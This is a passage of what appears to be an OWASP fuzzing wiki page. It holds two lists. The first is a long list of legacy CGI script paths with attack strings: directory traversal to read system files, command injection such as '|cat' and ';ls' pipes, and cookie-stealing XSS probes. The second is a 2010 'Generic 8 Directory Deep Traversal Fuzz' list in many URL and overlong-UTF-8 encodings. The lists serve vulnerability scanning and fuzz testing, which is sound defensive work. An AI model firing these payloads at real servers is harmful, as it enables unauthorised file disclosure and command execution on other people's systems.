/> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> 